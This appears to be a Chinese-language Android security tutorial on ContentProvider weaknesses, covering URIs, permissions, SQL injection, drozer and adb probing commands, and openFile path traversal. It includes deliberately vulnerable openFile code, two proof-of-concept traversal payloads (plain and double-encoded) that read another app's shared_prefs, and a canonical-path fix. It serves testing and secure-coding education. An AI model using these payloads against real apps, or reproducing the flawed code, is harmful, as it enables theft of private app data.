內容提供器用來存放和獲取數據并使這些數據可以被所有的應用程序訪問。它們是應用程序之間共享數據的唯一方法;不包括所有Android軟件包都能訪問的公共儲存區域。Android為常見數據類型(音頻,視頻,圖像,個人聯系人信息,等等)裝載了很多內容提供器。你可以看到在android.provider包里列舉了一些。你還能查詢這些提供器包含了什么數據。當然,對某些敏感內容提供器,必須獲取對應的權限來讀取這些數據。
如果你想公開你自己的數據,你有兩個選擇:你可以創建你自己的內容提供器(一個ContentProvider子類)或者你可以給已有的提供器添加數據,前提是存在一個控制同樣類型數據的內容提供器且你擁有讀寫權限。
參考:http://developer.android.com/guide/topics/providers/content-providers.html
Content URIs
content URI 是一個標志provider中的數據的URI.Content URI中包含了整個provider的以符號表示的名字(它的authority) 和指向一個表的名字(一個路徑).當你調用一個客戶端的方法來操作一個provider中的一個表,指向表的content URI是參數之一.
A. 標準前綴表明這個數據被一個內容提供器所控制。它不會被修改。
B. URI的權限部分;它標識這個內容提供器。對于第三方應用程序,這應該是一個全稱類名(小寫)以確保唯一性。權限在
<provider name=".TransportationProvider"
authorities="com.example.transportationprovider"
. . . >
C. 用來判斷請求數據類型的路徑。這可以是0或多個段長。如果內容提供器只暴露了一種數據類型(比如,只有火車),這個分段可以沒有。如果提供器暴露若干類型,包括子類型,那它可以是多個分段長-例如,提供"land/bus", "land/train", "sea/ship", 和"sea/submarine"這4個可能的值。
D. 被請求的特定記錄的ID,如果有的話。這是被請求記錄的_ID數值。如果這個請求不局限于單個記錄, 這個分段和尾部的斜線會被忽略:
content://com.example.transportationprovider/trains
ContentResolver
ContentResolver的方法們提供了對存儲數據的基本的"CRUD" (增刪改查)功能
#!java
getIContentProvider()
Returns the Binder object for this provider.
delete(Uri uri, String selection, String[] selectionArgs) -----abstract
A request to delete one or more rows.
insert(Uri uri, ContentValues values)
Implement this to insert a new row.
query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)
Receives a query request from a client in a local process, and returns a Cursor.
update(Uri uri, ContentValues values, String selection, String[] selectionArgs)
Update a content URI.
openFile(Uri uri, String mode)
Open a file blob associated with a content URI.
Sql注入
sql語句拼接
#!java
// 通過連接用戶輸入到列名來構造一個選擇條款
String mSelectionClause = "var = " + mUserInput;
參數化查詢
#!java
// 構造一個帶有占位符的選擇條款
String mSelectionClause = "var = ?";
權限
下面的
<uses-permission android:name="android.permission.READ_USER_DICTIONARY">
申請某些protectionLevel="dangerous"的權限
<uses-permission android:name="com.huawei.dbank.v7.provider.DBank.READ_DATABASE"/>
<permission android:name="com.huawei.dbank.v7.provider.DBank.READ_DATABASE" android:protectionLevel="dangerous"></permission>
android:protectionLevel
normal:默認值。低風險權限,只要申請了就可以使用,安裝時不需要用戶確認。
dangerous:像WRITE_SETTING和SEND_SMS等權限是有風險的,因為這些權限能夠用來重新配置設備或者導致話費。使用此protectionLevel來標識用戶可能關注的一些權限。Android將會在安裝程序時,警示用戶關于這些權限的需求,具體的行為可能依據Android版本或者所安裝的移動設備而有所變化。
signature:這些權限僅授予那些和本程序應用了相同密鑰來簽名的程序。
signatureOrSystem:與signature類似,除了一點,系統中的程序也需要有資格來訪問。這樣允許定制Android系統應用也能獲得權限,這種保護等級有助于集成系統編譯過程。
API
Contentprovider組件在API-17(android4.2)及以上版本由以前的exported屬性默認ture改為默認false。
Contentprovider無法在android2.2(API-8)申明為私有。
<!-- *** POINT 1 *** Do not (Cannot) implement Private Content Provider in Android 2.2 (API Level 8) or earlier. -->
<uses-sdk android:minSdkVersion="9" android:targetSdkVersion="17" />
關鍵方法
這個老外分的特別細,個人認為就分private、public、in-house差不多夠用。
1、反編譯查看AndroidManifest.xml(drozer掃描)文件定位content provider是否導出,是否配置權限,確定authority
#!bash
drozer:
run app.provider.info -a cn.etouch.ecalendar
2、反編譯查找path,關鍵字addURI
、hook api 動態監測推薦使用zjdroid
3、確定authority和path后根據業務編寫POC、使用drozer、使用小工具Content Provider Helper、adb shell // 沒有對應權限會提示錯誤
#!bash
adb shell:
adb shell content query --uri <URI> [--user <USER_ID>] [--projection <PROJECTION>] [--where <WHERE>] [--sort <SORT_ORDER>]
content query --uri content://settings/secure --projection name:value --where "name='new_setting'" --sort "name ASC"
adb shell content insert --uri content://settings/secure --bind name:s:new_setting --bind value:s:new_value
adb shell content update --uri content://settings/secure --bind value:s:newer_value --where "name='new_setting'"
adb shell content delete --uri content://settings/secure --where "name='new_setting'"
#!bash
drozer:
run app.provider.query content://telephony/carriers/preferapn --vertical
案例1:直接暴露
案例2:需權限訪問
案例3:openFile文件遍歷
Override openFile method
錯誤寫法1:
#!java
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException {
File file = new File(IMAGE_DIRECTORY, paramUri.getLastPathSegment());
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
錯誤寫法2:URI.parse()
#!java
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException {
File file = new File(IMAGE_DIRECTORY, Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
POC1:
#!java
String target = "content://com.example.android.sdk.imageprovider/data/" + "..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml";
ContentResolver cr = this.getContentResolver();
FileInputStream fis = (FileInputStream)cr.openInputStream(Uri.parse(target));
byte[] buff = new byte[fis.available()];
in.read(buff);
POC2:double encode
#!java
String target = "content://com.example.android.sdk.imageprovider/data/" + "%252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml";
ContentResolver cr = this.getContentResolver();
FileInputStream fis = (FileInputStream)cr.openInputStream(Uri.parse(target));
byte[] buff = new byte[fis.available()];
in.read(buff);
解決方法Uri.decode()
#!java
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException {
String decodedUriString = Uri.decode(paramUri.toString());
File file = new File(IMAGE_DIRECTORY, Uri.parse(decodedUriString).getLastPathSegment());
if (file.getCanonicalPath().indexOf(localFile.getCanonicalPath()) != 0) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=111509535
http://www.jssec.org/dl/android_securecoding_en.pdf
http://developer.android.com/intl/zh-cn/reference/android/content/ContentProvider.html
http://zone.wooyun.org/content/15097
http://drops.wooyun.org/tips/2997